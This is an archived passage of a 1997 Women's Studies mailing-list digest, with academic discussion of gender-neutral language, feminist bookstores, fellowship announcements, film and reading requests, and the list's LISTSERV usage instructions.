trusting. Sally: Welcome to the 20th century. (1966) ========================================================================= Date: Tue, 9 Dec 1997 15:38:59 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: gender-neutral language In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" An issue of concern in respect to gender-neutral language: it can obscure relevant differences in experience, perhaps returning us to male perspectives - in the case of plural pronouns as well as specific nouns. For example, 'Employees received big bonuses this year' doesn't tell you that the women working as clerks got nothing but the usual measly wages. 'They celebrated their victory over colonial rulers' hides the reality that women who participated in the struggle were driven back to gender-subordinate roles. 'Parental' and 'family leave' policies masks the domestic ideology and practices (pay, hours, etc) as well as biological differences, which translate into serving most poorly or not at all; e.g., the current family leave policy in the US (with no pay) means that women lose income when they take time off from a job to give birth, a huge loss if their are complications in the pregnancy and birth, care for a sick child or other family member, or go to school to deal with a child's problems there. beatrice bkachuck@cuny.campus.mci.net At 11:19 AM 12/8/97 -0500, you wrote: >My mother Peg Carr is a journals editor at the Ohio State >University Press, who publishes Journal of Money, Credit, and >Banking--as business oriented a journal as you can get! She has >this to say about gender-neutral language. > >From Peg Carr >Good morning. The policy throughout the Press is to use gender-neutral >language. I find less and less masculine language in the papers >submitted >to me for publication, but if I do, I rewrite to change it to >gender-neutral. Sometimes it's easy, such as changing ""policymaker >.. he"" >to ""policymakers ... they"" but often there are real challenges that >require >actual work!! _The Bias-Free Word Finder_ by Rosalie Maggio is a good >source; subtitled ""A dictionary of nondiscriminatory language,"" it covers >everything from ""man: human"" to ""goody-two-shoes"" and ""maternity leave"" >(parental/family leave) and ""kingdom"" (realm) -- as well as language >discriminatory in ways other than gender. It's fascinating to browse. > >My authors are academic or research officers from the Federal >Reserve Banks, >and there is just no question: gender-free language is standard. > >Submitted by Amelia Carr, Allegheny College >acarr@alleg.edu > > ========================================================================= Date: Tue, 9 Dec 1997 16:10:51 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Megan DeBell Subject: Announcement of Fellowships and Internships Comments: To: appam-l@post.queensu.ca, femecon-l@bucknell.edu, femisa@csf.colorado.edu, pubpol-l@tc.umn.edu, welfarem-l@american.edu, wmstgrad@morgan.mun.ca, women-soc-econ-history@mailbase.ac.uk, spissi@vms.cis.pitt.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" ANNOUNCEMENT OF FELLOWSHIPS AND INTERNSHIPS AT THE INSTITUTE FOR WOMEN'S POLICY RESEARCH FELLOWSHIP OPPORTUNITIES: The Institute for Women's Policy Research (IWPR) is a non-profit, scientific research organization that works primarily on issues related to equal opportunity and economic and social justice for women. IWPR conducts research on these issues and holds forums and other events to bring together activists, advocates, researchers, and policy makers to advance women's agendas. IWPR established its fellowship program to assist in the professional development of students and graduates interested in economic justice for women. The fellowships require a nine-month commitment. The program is designed to provide fellows with challenging work experiences under the guidance of researchers with extensive knowledge of women's policy issues and social science research. The Institute will offer three fellowships this year. We will hire two Research Fellows. The research fellows will serve as general research assistants on a variety of research projects and reports. Research tasks may include reviewing literature; collecting, checking and analyzing data; gathering information; and preparing reports and report graphics. Attending relevant Congressional briefings, policy seminars and meetings, and monitoring congressional hearings is also an integral part of the fellowship program. One of the research fellows will also serve as a Special Assistant to the Director of Research and Policy Analysis, Dr. Diana Zuckerman. Please indicate if you have a preference for one of the two positions. Research areas for 1997-8 include: *studying women's wages, political participation, access to health care, and other indicators of the status of women on a state-by-state basis; *studying the work and welfare experiences of low-income women; *studying the impact of welfare reform on women at the state level; *analyzing the use of unemployment insurance by low-wage and women workers; and *analyzing the use of child care by single mothers. The Communications and Outreach Fellow works closely with the Director of Communications on different aspects of IWPR's public relations and outreach programs. Tasks include the handling of special requests for public information materials, including requests from print and electronic media; planning special events (such as conferences, briefings, and receptions); layout and design, editing and proofreading; and maintaining IWPR's web page. Candidates for this position must have excellent written and verbal communication skills, the ability to manage varied and multiple responsibilities at the same time, and have a knowledge of and interest in policy issues affecting women. Familiarity with desktop publishing software and HTML is a plus, but is not required for consideration. All fellows will also be responsible for a certain amount of general office work, including such tasks as responding to information requests, assisting in maintaining the library, and answering telephones. Applicants should have at least a bachelor's degree in social science, statistics, or women's policy issues. Graduate work is desireable but not required. Applicants should have basic quantitative and library research skills. Knowledge of women's issues and familiarity with Word Perfect is essential; familiarity with spreadsheets and graphics software a plus. The stipend for the 1997-8 term is $1200 per month, and includes health insurance. The positions are full-time andgenerally span the academic year (September-May). Some fellows may be asked to start as early as June, however. Persons interested in applying should submit a letter of interest specifying the fellowship for which they are applying, a resume, two (2) confidential (sealed) letters of reference, and a writing sample of 3-7 pages to: Fellowship Coordinator Institute for Women's Policy Research 1400 20th St., N.W. Suite 104 Washington, D.C. 20036 Applications are due by March 17. Candidates will be selected by late April. Please note that only complete applications will receive consideration. INTERNSHIP OPPORTUNITIES: IWPR's internship program is designed to provide participants with challenging work experiences under the guidance and supervision of researchers with extensive knowledge of women's policy issues and social science research. The Institute gives special emphasis to issues of race, ethnicity, and class in its projects. There will be three types of internships available, as listed below: Research Internship: IWPR research interns work as research assistants on a variety of projects. Research tasks may include reviewing literature, collecting data and resources, gathering information from public officials and organization representatives, and preparing reports and summaries. attendance of relevant seminars, workshops, and meetings and monitoring congressional hearings is also an integral part of the internship experience. All research interns are expected to have basic research skills, and a background in the social sciences and/or statistics is preferred. Research areas for the summer of 1998 include: Studying women's wages and other indicators of their economic status on a state by state basis; Combining work and welfare to move low-income women and their families out of poverty; Monitoring welfare reform on the state level; and Educating Congress and the Clinton Administration on women's economic issues. Conference Internship: Conference interns will work in the final stages of planning and executing IWPR's Fifth Women's Policy Research Conference, ""Women's Progress: Perspectives on the Past, Blueprint for the Future"" to be held at the George Washington University on June 12-13, 1998. Interns will also help with follow-up from the conference, including coordinating the publication of Conference Proceedings. The successful conference intern will have experience with event planning, be detail-oriented, and able to manage a number of tasks well. Conference interns will be expected to start in mid to late May. Development Internship: Development interns will work with the Director of Development and the Manager of Membership Services to coordinate fundraising efforts for the Institute. Interns will have the opportunity to learn about grant-writing, non-profit fundraising, and direct mail programs. IWPR receives support from foundations and government agencies, as well as individual and organizational supporters. Development interns should have an interest in fundraising and prior experience with fundraising at any level is desirable. All IWPR interns must have good computer skills and excellent communication skills, both oral and written. As about 20 percent of internship time is taken up with supporting the office, including such vital tasks as photocopying, answering the phone, faxing, filing, and general office administration, prior office experience is highly desirable. An interest in women's issues is essential. IWPR is an affirmative action employer and people of color are encouraged to apply. Internships begin in May or June and last a minimum of ten weeks, but starting and ending dates are flexible. These are full-time positions with a stipend of $100 per week and a local transportation subsidy. Persons interested in applying for an internship should submit a letter of interest, a resume, a letter of recommendation and a writing sample (3-5 pages). Application materials should be sent to: Shannon Garrett Research Program Assistant Institute for Women's Policy Research 1400 20th Street, NW, Suite 104 Washington, DC 20036 Questions should be directed to Shannon Garrett at (202) 785-1921 or by e-mail at The deadline for receipt of all internship applications is March 16, 1998. Please note that only complete applications will be considered. Candidates will be selected by April 15, 1998. Amanda Gordon, Communications Fellow Institute for Women's Policy Research 1400 20th Street NW, Suite 104 Washington DC 20036 ph. (202) 785-5100 fax (202) 833-4362 gordon@www.iwpr.org ========================================================================= Date: Tue, 9 Dec 1997 16:02:26 -0500 Reply-To: msacks@world.std.com Sender: Women's Studies List From: Marc Sacks Subject: Re: gender-neutral language Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit beatricekachuck wrote: > An issue of concern in respect to gender-neutral language: it can obscure > relevant differences in experience, perhaps returning us to male > perspectives - in the case of plural pronouns as well as specific nouns. > For example, 'Employees received big bonuses this year' doesn't tell you > that the women working as clerks got nothing but the usual measly wages. > 'They celebrated their victory over colonial rulers' hides the reality that > women who participated in the struggle were driven back to > gender-subordinate roles. The examples cited here may be gender-neutral, but they don't demonstrate the problem, which is getting around unmarked male pronouns and assumptions (such as ""each employee received a bonus with his paycheck"" becoming ""employees received bonuses with their paychecks""). In beatrice's examples, also, there's no reason she couldn't refer to ""male employees"" in the first sentence. The second is more problematic because chances are that women were among the ""they"" celebrating the victory. It might take another sentence to bring out the ""hidden reality,"" but men and women do share many things, and the purpose of gender neutrality is to include both sexes where both should be included, not where only one is meant. Marc Sacks msacks@world.std.com ========================================================================= Date: Tue, 9 Dec 1997 19:23:39 -0500 Reply-To: ""Wesley J. Chenault"" Sender: Women's Studies List From: ""Wesley J. Chenault"" Subject: Women and Landscape Architecture MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_004E_01BD04D7.F4930F00"" This is a multi-part message in MIME format. ------=_NextPart_000_004E_01BD04D7.F4930F00 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am casting a broad net seeking any information for a friend trying to = develop a special topics course pertaining to women and landscape = architecture. All responses are welcomed. Please reply privately to the = address provided below. Many Thanks, Wesley Chenault Women's Studies Institute Georgia State University wchenault@worldnet.att.net =20 ------=_NextPart_000_004E_01BD04D7.F4930F00 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am casting a broad net seeking any information for = a friend=20 trying to develop a special topics course pertaining to women and = landscape=20 architecture. All responses are welcomed. Please reply privately to the = address=20 provided below.   Many Thanks,   Wesley Chenault Women's Studies Institute Georgia State University wchenault@worldnet.att.net=     ------=_NextPart_000_004E_01BD04D7.F4930F00-- ========================================================================= Date: Wed, 10 Dec 1997 07:30:42 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Jane Olmsted Subject: film: ""Clotheslines"" Do any of you know how I can get a copy of the very fine film, ""Clotheslines""? It's a documentary, a kind of montage of interviews and clips of women doing laundry, and explores the range of emotional responses to this kind of domestic work, as drudgery, source of pride/identity, as sensual experience, as spiritual connection to other women. One eerie part has a woman's laughter turning into sobs. It's beautifully filmed, I think, and very good for WS classes. thanks, Jane jane.olmsted@wku.edu Western Kentucky University Women's Studies/English ========================================================================= Date: Wed, 10 Dec 1997 09:32:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: finding past messages (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: 10) ""I'VE BEEN AWAY FOR TWO WEEKS. I'D LIKE TO SEE WHAT I'VE MISSED ON WMST-L DURING THE TIME I'VE BEEN GONE. IS IT POSSIBLE TO ACCESS PREVIOUS MESSAGES?"" [also useful for new subscribers] Yes. All WMST-L messages are automatically archived. The 1991 archives are arranged in monthly logs; beginning in Jan., 1992, the logs were changed to a weekly format. To find out what logs are available, you can send LISTSERV the following command: INDEX WMST-L . You'll then receive a list of the available logs. To obtain the logs, send LISTSERV the following command: GET WMST-L [filename] where [filename] is the name of the log file you want. For example: GET WMST-L LOG9609a will get you the log for the first week (""a"") in September 1996 (9609 refers to the 9th month of 1996). LOG9612b is the log for the second week (""b"") in Dec. 1996 (December is the 12th month). (It's possible that the wording of your request may take a slightly different form, depending on your mail system, but what you want is WMST-L LOGnnnnl.) Warning: some of these logs are LARGE (> 300K). As a result, you may not be permitted to get more than a few logs on any given day (the current limit is 20 files or 2M - i.e., 2000K). NOTE: Logfiles from before 1995 are no longer available on UMDD. To make room for newer logfiles, they were moved to the Women's Studies archive on InforM (http://www.inform.umd.edu/EdRes/Topic/WomensStudies/ ). As time passes, other old logfiles will also be moved to InforM. The WMST-L filelist contains instructions designed to teach you how to search the UMDD logfiles for specific subjects. The instructions I recommend are contained in a file called SEARCH SIMPLE. It explains the new, simplified search procedures. This file is available on the web or via e-mail. The web URL is http://www.umbc.edu/wmst/simplesearch.html . To get it by e-mail, send the message GET SEARCH SIMPLE to LISTSERV@UMDD.UMD.EDU. These instructions apply only to logfiles on UMDD, not those that have been moved to InforM. ******************* Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Wed, 10 Dec 1997 09:33:54 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: millerc@SNYONEVA.CC.ONEONTA.EDU Subject: CFP, Undergraduate Women's Conference Comments: To: powr-l@uriacc.uri.edu MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII I inadvertently omitted the deadline for proposals for the undergraduate women's conference here at Oneonta in my CFP yesterday. The deadline is February 2, 1998. Cindy Miller ========================================================================= Date: Wed, 10 Dec 1997 10:35:23 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: BETTY POWELL Organization: Mars Hill College Subject: Re: film: ""Clotheslines"" In-Reply-To: <9711108817.AA881767500@INETGW.WKU.EDU> please post any replies to Jane Olmsted's request for the whereabouts of the film ""Clotheslines"" to the list. I certainly would be interested, as I suspect others would. Thanks. Betty J. Powell Mars Hill College bpowell@mhc.edu ========================================================================= Date: Wed, 10 Dec 1997 09:16:32 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Harriet F. Adams"" Subject: Re: film: ""Clotheslines"" Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" ""Clotheslines"" can be ordered from Filmakers Library, 124 E. 40th St., New York, NY 10016, (212) 808-4980 Harriet F. Adams Director, Women's Studies Program The University of Toledo Toledo, OH 43606 (419) 530-2233 hadams@primenet.com At 10:35 AM 12/10/97 -0500, BETTY POWELL wrote: >please post any replies to Jane Olmsted's request for the whereabouts >of the film ""Clotheslines"" to the list. I certainly would be >interested, as I suspect others would. Thanks. > >Betty J. Powell >Mars Hill College >bpowell@mhc.edu > > ========================================================================= Date: Wed, 10 Dec 1997 11:32:09 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Diane Lowe Fowlkes Subject: Re: Women and Landscape Architecture Comments: To: ""Wesley J. Chenault"" In-Reply-To: <01bd0501$dd691700$7264450c@ryan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Wesley, Check out Catherine M. Howett, ""Careers in Landscape Architecture: Recovering for Women What the ""Ladies"" Won and Lost,"" in Diane L. Fowlkes and Charlotte S. McClure, eds., _Feminist Visions: Toward a Transformation of the Liberal ARts Curriculum_ (University of Alabama Press, 1984). Diane Fowlkes wsidlf@panther.gsu.edu ========================================================================= Date: Wed, 10 Dec 1997 12:29:09 -0500 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: women's bookstores Hey, folks: I'm an adjunct at Georgetown and order books for my class through the local women's bookstore downtown. It's a great way to expose Women's Studies majors to feminist community-based enterprise. Do other folks do this? The superstores are killing the small bookstores, and even my little course makes a big difference for the DC store. Best, Jaime ========================================================================= Date: Wed, 10 Dec 1997 09:36:49 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: vered Subject: Re: film: ""Clotheslines"" In-Reply-To: <199712101616.JAA20135@smtp01.primenet.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm interested to know how this film is used in women's studies courses. I love the film, saw it in a visual anthropology course years ago, and have referred to it numerous times in conversations with colleagues, but it is not well known. I have thought about using the film to stimulate discussion of issues around gender and generation and biography. Any other ideas? Thanks, Karen Orr Vered University of Southern California School of Cinema-Television vered@usc.edu ========================================================================= Date: Wed, 10 Dec 1997 13:53:04 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""William W. Pendleton"" Subject: Re: women's bookstores Comments: To: Jaime Grant In-Reply-To: <01BD0567.37E88E80.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have no objection to the practice per se. In fact I am opposed to any attempt of university book stores' efforts to monopolize the market. I have some suspicion of doing so to support the book stores rather than to seek lower prices for the students. Part of your post raised that suspicion. On Wed, 10 Dec 1997, Jaime Grant wrote: > Hey, folks: > > I'm an adjunct at Georgetown and order books for my class through the > local women's bookstore downtown. It's a great way to expose Women's > Studies majors to feminist community-based enterprise. > > Do other folks do this? The superstores are killing the small bookstores, > and even my little course makes a big difference for the DC store. > > Best, > > Jaime > Wm W. Pendleton Department of Sociology Emory University Atlanta, Ga. 30322 socwwp@emory.edu 404 727-7524 ========================================================================= Date: Wed, 10 Dec 1997 15:37:19 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Martha Charlene Ball Subject: Re: women's bookstores Comments: To: Jaime Grant In-Reply-To: <01BD0567.37E88E80.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII We in the Women's Studies Institute at Georgia State University order our books through Charis Books and More in Atlanta. Some of our instructors in introductory women's studies courses require students to visit Charis and write about their visit. Charlene, WSI, Georgia State On Wed, 10 Dec 1997, Jaime Grant wrote: > Hey, folks: > > I'm an adjunct at Georgetown and order books for my class through the > local women's bookstore downtown. It's a great way to expose Women's > Studies majors to feminist community-based enterprise. > > Do other folks do this? The superstores are killing the small bookstores, > and even my little course makes a big difference for the DC store. > > Best, > > Jaime > ========================================================================= Date: Wed, 10 Dec 1997 13:06:26 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Arpad Subject: seeking grad school Comments: cc: ly020@lennon.scufresno.edu MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit A senior student majoring in women's studies and criminology is looking for a graduate school. She is looking for a graduate school for an M.A. in women's studies. Are there any programs out there that have an emphasis on women in the Middle East and/or feminist criminology? She would appreciate any help with information. Reply directly to her at: ly020@lennon.csufresno.edu Thank you. -- Susan Arpad Women's Studies Program California State University, Fresno Fresno, CA 93740-0078 Email: Susan_Arpad@CSUFresno.edu Tel: (209) 278-4079 FAX: (209) 278-7664 ========================================================================= Date: Wed, 10 Dec 1997 16:38:33 -0500 Reply-To: Maria Bevacqua Sender: Women's Studies List From: Maria Bevacqua Subject: Re: women's bookstores Comments: To: Jaime Grant In-Reply-To: <01BD0567.37E88E80.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Jaime and list, I have been ordering books for my women's studies classes from the Atlanta feminist bookstore, Charis, for 2 years now. As you say, it is a great way to bring the store business and expose students to a feminist organization. Regarding prices (Wm. Pendleton's concern): in my experience, the university bookstores jack up book prices without having to explain themselves, not to mention reselling used books at only 20% less than the cover price (after buying them back from students for a tiny fraction of what they paid). I have no problem with ordering textbooks from a store that charges the same prices when I know that the money will support a feminist cause. I mean, someone will profit off of these sales; why not the feminists? Since I keep book prices in mind when designing the course (I'm sure most of you out there do), students will be no better off at the campus bookstore than at the feminist one. But is it the prof's responsibility to seek out *lower* prices for the books they order, as Wm. Pendleton's post suggests? Must I actually consider ordering my students' books from a superstore in the hopes that I can save them 10%? These are not rhetorical questions. Choosing to order books from the university bookstore (or anywhere else) is just as political a decision as choosing to order them from the feminist store. Cheers, Maria Bevacqua, Ph.D. Institute for Women's Studies Emory University Atlanta, GA 30322 mbevacq@emory.edu Linus: I thought little girls always believed everything that was told to them. I thought little girls were innocent and trusting. Sally: Welcome to the 20th century. (1966) On Wed, 10 Dec 1997, Jaime Grant wrote: > Hey, folks: > > I'm an adjunct at Georgetown and order books for my class through the > local women's bookstore downtown. It's a great way to expose Women's > Studies majors to feminist community-based enterprise. > > Do other folks do this? The superstores are killing the small bookstores, > and even my little course makes a big difference for the DC store. > > Best, > > Jaime > ========================================================================= Date: Wed, 10 Dec 1997 15:31:44 -0500 Reply-To: SEETCHM@lafvax.lafayette.edu Sender: Women's Studies List From: Mary Elizabeth Seetch Subject: sex offenders as men w/""normal"" personalities Content-transfer-encoding: 7BIT I am making this request for an undergrad WS student who is writing a senior thesis for our gov't & philosophy departments on the social justice and legal theories behind new legislation regarding sex offenders--for instance, mandates that sex offenders register when released from prison. She would like to investigate the claim that such men are ""not insane but are generally men who have 'normal' [for our culture, at least] sexual personalities."" Can anyone direct her to studies or other publications that might illuminate this claim? (which she has derived to a great extent from Susan Griffin's ""Rape: The All-American Crime"") Unless significant demand for replies emerges on the list, PLEASE RESPOND PRIVATELY. Thanks, Beth Seetch seetchm@lafayette.edu ========================================================================= Date: Wed, 10 Dec 1997 13:58:01 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: sex offenders as men w/""normal"" personalities Comments: To: Mary Elizabeth Seetch In-Reply-To: <55910.SEETCHM@lafvax.lafayette.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'd like to see the recommended literature for this. thanks, Kathy MIriam kmiriam@cats.ucsc.edu in other words, I think it would be good list info. On Wed, 10 Dec 1997, Mary Elizabeth Seetch wrote: > I am making this request for an undergrad WS student who is writing a senior > thesis for our gov't & philosophy departments on the social justice and legal > theories behind new legislation regarding sex offenders--for instance, > mandates that sex offenders register when released from prison. > > She would like to investigate the claim that such men are ""not insane but > are generally men who have 'normal' [for our culture, at least] sexual > personalities."" > > Can anyone direct her to studies or other publications that might illuminate > this claim? (which she has derived to a great extent from Susan Griffin's > ""Rape: The All-American Crime"") > > Unless significant demand for replies emerges on the list, PLEASE RESPOND > PRIVATELY. > > Thanks, > > Beth Seetch > seetchm@lafayette.edu ========================================================================= Date: Wed, 10 Dec 1997 19:39:39 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: lara j foley Subject: women's bookstores In-Reply-To: <3.0.3.32.19971007183355.00690340@cuny.campus.mci.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am an instructor at the University of Florida and always try to support the local women's bookstore in Gainesville. I have thought about ordering books through them. some problems that i have run into are 1) athletes and other scholarship students may have book vouchers that are only accepted at the University bookstore 2)students with disabilities have to get theri books at teh University bookstore - I'm not sure if this has to do with scholarships also. I am not as well informed about some of these issues as i probably should be, but i just wanted to share a few problems i have encountered. so, while i want to support the smaller bookstores, i can't do that at the expense of my students. i do usually announce in class special events, speakers, and discussion groups taking place at the local bookstores. i also try to order books that are optional reading through these stores. Lara Foley University of Florida Department of Sociology lara1@ufl.edu ========================================================================= Date: Wed, 10 Dec 1997 20:06:43 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""William W. Pendleton"" Subject: Re: women's bookstores In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 10 Dec 1997, lara j foley wrote: > I am an instructor at the University of Florida and always try to support > the local women's bookstore in Gainesville. I have thought about ordering > books through them. some problems that i have run into are 1) athletes > and other scholarship students may have book vouchers that are only > accepted at the University bookstore 2)students with disabilities have to > get theri books at teh University bookstore - I'm not sure if this has to > do with scholarships also. I am not as well informed about some of these > The moral issue seems to me to be to what extent should we compel students to by from one source, even when we regard the experience as valuable. I make my selections of texts available widely so that sources can compete--perhaps by price--for the students' custom. Even though I thought it might be educational for them to visit a Christian or Right Wing or Left Wing bookstore, I would make that a separate assignment, not a necessary spending to support a cause. There is here a slippery slope into which faculty should not move. If I pick a favorite cause and compel students to support it, is not everyone free to do the same? Would the result of such choices be good for the intellectual development of the students? Wm W. Pendleton Department of Sociology Emory University Atlanta, Ga. 30322 socwwp@emory.edu 404 727-7524 ========================================================================= Date: Wed, 10 Dec 1997 18:26:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Michael Messina-Yauchzy Subject: Re: sex offenders as men w/""normal"" personalities Comments: To: SEETCHM@lafvax.lafayette.edu In-Reply-To: <55910.SEETCHM@lafvax.lafayette.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" A few references from my syllabi: For general review of theory and research on the connections of ""normal"" masculinities and sexual violence, see: Segal, Lynne. 1990. Slow Motion: Changing Masculinities, Changing Men. New Brunswick: Rutgers. Chapter 8, ""The Belly of the Beast (1): Sex as Male Domination?"" Donnerstein, Edward, and Daniel Linz. 1986. ""Mass Media Sexual Violence and Male Viewers: Current Theory and Research."" American Behavioral Scientist, 29(5). Reprinted in Michael S. Kimmel and Michael A. Messner, eds., Men's Lives. New York:Macmillan, 1992, pp. 364-369. [NOT in 1997 edition.] For other discussions: Beneke, Timothy. 1982. ""Introduction"" in Men on Rape. New York: St. Martins. Hood, Jane. 1992. ""'Let's Get a Girl': Male Bonding Rituals in America."" in Michael S. Kimmel and Michael A. Messner, eds., Men's Lives. New York:Macmillan, 1992, pp. 364-369. [Also in 1997 edition.] Stoltenberg, John. 1989. ""Rapist Ethics"" in Refusing to Be a Man: Essays on Sex and Justice. Portland, Oregon: Breitenbush. Pp. 9-24. At 03:31 PM 12/10/97 -0500, Mary Elizabeth Seetch wrote: >I am making this request for an undergrad WS student who is writing a senior >thesis for our gov't & philosophy departments on the social justice and legal > theories behind new legislation regarding sex offenders--for instance, >mandates that sex offenders register when released from prison. > >She would like to investigate the claim that such men are ""not insane but >are generally men who have 'normal' [for our culture, at least] sexual >personalities."" > >Can anyone direct her to studies or other publications that might illuminate >this claim? (which she has derived to a great extent from Susan Griffin's >""Rape: The All-American Crime"") > >Unless significant demand for replies emerges on the list, PLEASE RESPOND >PRIVATELY. > >Thanks, > >Beth Seetch >seetchm@lafayette.edu > Michael Messina-Yauchzy Ph.D. candidate, Interdisciplinary Social Science M.A., Sociology 413 Maxwell Hall Syracuse University Syracuse, NY 13244 Home page: http://web.syr.edu/~mmessina/Index.html E-mail: mailto:mmessina@mailbox.syr.edu ========================================================================= Date: Wed, 10 Dec 1997 21:22:11 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jo-Ann Pilardi Subject: Re: film: ""Clotheslines"" MIME-version: 1.0 Content-transfer-encoding: 7BIT The one time I used the film it was in an intro. to women's studies course. The students didn't ""get"" it, to my dismay. I think it's a fine, very fine, film, but may need more setup than I gave it. The women featured are of my mother's generation, probably in their late 70's or early 80's by now. For present students, this means it's their grandmothers' generation, but the women featured are inner city women (Brooklyn?), and primarily Italian- American. Laundry was laundry(!) for them, but at the same time it was a medium for their relationships to their husbands, to their neighbors/friends, and at the same time it provided an opportunity to enjoy air, the earth, the sun, the beauty of fabric. One can use the film as a vehicle for the study of work itself, women's work, class issues, social relations, and last but not least, patriarchal oppression. Jo-Ann Pilardi, Towson Univ., jpilardi@towson.edu ========================================================================= Date: Wed, 10 Dec 1997 20:50:00 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Holman Weisbard Subject: women's bookstores I think it is important for everyone who cares about the future of small presses, including feminist presses, to support the stores that have carried their books all along, and which are committed to doing so in the future. I applaud instructors who use these stores as a site for their course books. By using the feminist bookstores, women's studies instructors are also maintaining the connection to the community from which women's studies emerged. The bookstores are settings for community building and sustaining, and women's studies within the academy would be diminished without them. Students are always free to shop around with book lists in hand anyway, and now they can even order them over the web -- they are never forced to buy them from one place. Sincerely, Phyllis Holman Weisbard Women's Studies Librarian University of Wisconsin System ************************************************************************ Phyllis Holman Weisbard University of Wisconsin System Women's Studies Librarian Room 430 Memorial Library, 728 State Street, Madison, WI 53706 http://www.library.wisc.edu/libraries/WomensStudies/ pweis@doit.wisc.edu ************************************************************************ ========================================================================= Date: Wed, 10 Dec 1997 18:53:45 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Patricia Novotny Subject: Re: women's bookstores Comments: To: Jaime Grant In-Reply-To: <01BD0567.37E88E80.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hooray for you! What a terrific idea! On Wed, 10 Dec 1997, Jaime Grant wrote: > Hey, folks: > > I'm an adjunct at Georgetown and order books for my class through the > local women's bookstore downtown. It's a great way to expose Women's > Studies majors to feminist community-based enterprise. > > Do other folks do this? The superstores are killing the small bookstores, > and even my little course makes a big difference for the DC store. > > Best, > > Jaime > ========================================================================= Date: Wed, 10 Dec 1997 21:50:43 EST Reply-To: Women's Studies List Sender: Women's Studies List From: Bconklep Organization: AOL (http://www.aol.com) Subject: Hello from Barbara Conkle Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Are you the Betty Powell that used to be at WKU? If so, I'd love to hear from you. ========================================================================= Date: Thu, 11 Dec 1997 07:26:38 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: WMST-L File Collection (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide: 11) ""HOW DO I FIND OUT WHAT FILES ARE AVAILABLE FROM WMST-L, AND HOW DO I OBTAIN THE FILES I WANT?"" To find out what files are available, send LISTSERV@UMDD.UMD.EDU (or, on Bitnet, LISTSERV@UMDD) the same command mentioned in the previous section: INDEX WMST-L. The list you'll receive from LISTSERV includes files as well as logs. To obtain the file(s) you want, send LISTSERV the following command: GET [filename] WMST-L where [filename] is the two-word name of the file you want. For example, suppose you send for the filelist (INDEX WMST-L) and see the following listing: * Policies for cross-listing courses with Women's Studies CROSSLST POLICIES ALL OWN V 79 436 92/12/07 20:41:03 To get this file, you'd send the message GET CROSSLST POLICIES WMST-L to LISTSERV@UMDD (Bitnet) or LISTSERV@UMDD.UMD.EDU (Internet). Note that [filename] consists of two words separated by a space and not a period. (Adding WMST-L after the two-word filename is optional; it simply makes sure that if two lists have a file with the same name, you'll get the right one.) IMPORTANT NOTE: women's studies syllabi are contained in a subdirectory called SYLLABI, while feminist film reviews are to be found in a subdirectory called FILM, and reference book mini-reviews are in the WMSTBOOK subdirectory. To find out what syllabi, film reviews, or reference book mini-reviews a subdirectory contains, send LISTSERV the command INDEX SYLLABI (or INDEX FILM or INDEX WMSTBOOK). To obtain the file(s) you want, send LISTSERV the following command: GET 